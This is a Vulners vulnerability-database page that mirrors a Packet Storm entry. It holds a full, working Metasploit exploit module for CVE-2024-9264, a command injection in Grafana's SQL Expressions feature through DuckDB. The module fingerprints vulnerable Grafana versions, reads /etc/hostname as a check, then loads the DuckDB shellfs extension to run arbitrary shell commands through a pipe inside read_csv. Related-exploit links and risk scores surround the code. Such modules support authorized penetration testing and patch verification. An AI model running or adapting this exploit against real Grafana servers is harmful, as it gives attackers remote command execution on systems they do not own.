Lucene search
+L

...[ More ]

🗓️ 14 Oct 2026 00:00:00Reported by zcan ErsanType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 6 Views

Authenticated command injection in Grafana SQL Expressions via unsanitized DuckDB input.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Code Injection in Grafana
15 Jun 202500:38
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Grafana
31 May 202520:06
–githubexploit
githubexploit
GithubExploit
Exploit for Command Injection in Grafana
9 Feb 202614:30
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Grafana
5 Jul 202523:51
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Grafana
5 Jul 202514:03
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Grafana
29 Jun 202606:44
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Grafana
19 Oct 202413:50
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Grafana
21 Oct 202403:36
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Grafana
20 Oct 202401:13
–githubexploit
githubexploit
GithubExploit
Exploit for Command Injection in Grafana
22 Jul 202615:33
–githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Grafana SQL Expressions DuckDB Command Injection',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability in Grafana's
          experimental SQL Expressions feature. Affected Grafana releases are 11.0.0 through
          11.0.6, 11.1.0 through 11.1.7, and 11.2.0 through 11.2.2. They pass attacker-controlled
          SQL expressions to DuckDB without sufficient sanitization.

          Successful command execution requires the duckdb binary to be available in the Grafana
          process PATH. This module uses DuckDB's shellfs community extension and Unix pipe syntax,
          so it is limited to Unix-like targets with shellfs available. The extension installation
          may download and cache files on the target.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Özcan Ersan (@ozcanpng) <ozcanersan[at]proton.me>' # PoC and Metasploit module
        ],
        'References' => [
          ['CVE', '2024-9264'],
          ['URL', 'https://grafana.com/security/security-advisories/cve-2024-9264/'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2024-9264'],
          ['URL', 'https://github.com/ozcanpng/CVE-2024-9264']
        ],
        'DisclosureDate' => '2024-10-17',
        'Targets' => [
          ['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD }]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 3000
        },
        'Privileged' => false,
        'Payload' => {
          'Space' => 4096,
          # DuckDB string literals cannot contain a NUL byte. Single quotes are
          # escaped by duckdb_quote before they are embedded in the expression.
          'BadChars' => "\x00"
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to Grafana', '/']),
      OptString.new('USERNAME', [false, 'Grafana username for HTTP Basic authentication']),
      OptString.new('PASSWORD', [false, 'Grafana password for HTTP Basic authentication'])
    ])
  end

  def check
    return CheckCode::Unknown('USERNAME and PASSWORD must both be set or both be empty') if credentials_incomplete?

    version = grafana_version
    return CheckCode::Unknown('Could not identify a Grafana instance') unless version

    report_service(host: rhost, port: rport, name: ssl ? 'https' : 'http', proto: 'tcp', info: "Grafana #{version}")

    return CheckCode::Safe("Grafana #{version} is not an affected release") unless affected_version?(version)

    response = expression_request([expression_query('A', "SELECT content FROM read_blob('/etc/hostname')")])
    return CheckCode::Unknown('Connection failed while verifying SQL Expressions') unless response
    return CheckCode::Detected('HTTP Basic authentication failed') if response.code == 401

    if response.code == 200 && expression_content(response, 'A')
      return CheckCode::Vulnerable("Grafana #{version} executed a DuckDB read_blob SQL expression")
    end

    CheckCode::Appears("Affected Grafana #{version} detected, but the safe DuckDB verification did not succeed")
  rescue Rex::ConnectionError, Rex::TimeoutError => e
    CheckCode::Unknown("Connection failed: #{e.message}")
  end

  def exploit
    fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must both be set or both be empty') if credentials_incomplete?

    output_file = "/tmp/#{Rex::Text.rand_text_alphanumeric(16)}"
    register_file_for_cleanup(output_file)

    print_status('Installing and loading the DuckDB shellfs extension')
    response = execute_command(payload.encoded, output_file)
    unless response
      print_warning('No response received; the command payload may still be executing')
      return
    end

    fail_with(Failure::NoAccess, 'HTTP Basic authentication failed') if response.code == 401
    fail_with(Failure::UnexpectedReply, "SQL Expressions request failed with HTTP status #{response.code}") unless response.code == 200

    result = expression_error(response, 'A') || expression_error(response, 'B')
    fail_with(Failure::PayloadFailed, "DuckDB command execution failed: #{result}") if result

    print_good('Command payload delivered successfully')
  end

  def execute_command(command, output_file)
    pipe_command = "(#{command}) > #{output_file} 2>&1 |"

    expression_request([
      expression_query('A', "SELECT 1; INSTALL shellfs FROM community; LOAD shellfs; SELECT * FROM read_csv('#{duckdb_quote(pipe_command)}', header=false)"),
      expression_query('B', "SELECT content FROM read_blob('#{duckdb_quote(output_file)}')")
    ])
  end

  def grafana_version
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'health')
    )
    return unless response&.code == 200

    response.get_json_document['version']
  end

  def affected_version?(version)
    # Security releases retain their base release number but add this suffix.
    # Check it before comparing the numeric portion of the version.
    return false if version.match?(/\+security-\d+\z/)

    parsed_version = Rex::Version.new(version)
    (parsed_version >= Rex::Version.new('11.0.0') && parsed_version <= Rex::Version.new('11.0.6')) ||
      (parsed_version >= Rex::Version.new('11.1.0') && parsed_version <= Rex::Version.new('11.1.7')) ||
      (parsed_version >= Rex::Version.new('11.2.0') && parsed_version <= Rex::Version.new('11.2.2'))
  rescue ArgumentError
    false
  end

  def expression_request(queries)
    request = {
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'ds', 'query'),
      'vars_get' => {
        'ds_type' => '__expr__',
        'expression' => 'true',
        'requestId' => 'Q100'
      },
      'ctype' => 'application/json',
      'data' => {
        'queries' => queries,
        'from' => '1',
        'to' => '2'
      }.to_json
    }
    request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if basic_auth_configured?

    send_request_cgi(request)
  end

  def expression_query(ref_id, expression)
    {
      'refId' => ref_id,
      'datasource' => {
        'type' => '__expr__',
        'uid' => '__expr__',
        'name' => 'Expression'
      },
      'type' => 'sql',
      'expression' => expression
    }
  end

  def expression_content(response, ref_id)
    values = response.get_json_document.dig('results', ref_id, 'frames', 0, 'data', 'values', 0)
    values&.first
  end

  def expression_error(response, ref_id)
    response.get_json_document.dig('results', ref_id, 'error')
  end

  def duckdb_quote(value)
    value.gsub("'", "''")
  end

  def basic_auth_configured?
    !datastore['USERNAME'].to_s.empty?
  end

  def credentials_incomplete?
    datastore['USERNAME'].to_s.empty? != datastore['PASSWORD'].to_s.empty?
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Oct 2026 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.18.8 - 9.9
CVSS 49.4
EPSS0.97138
SSVC
6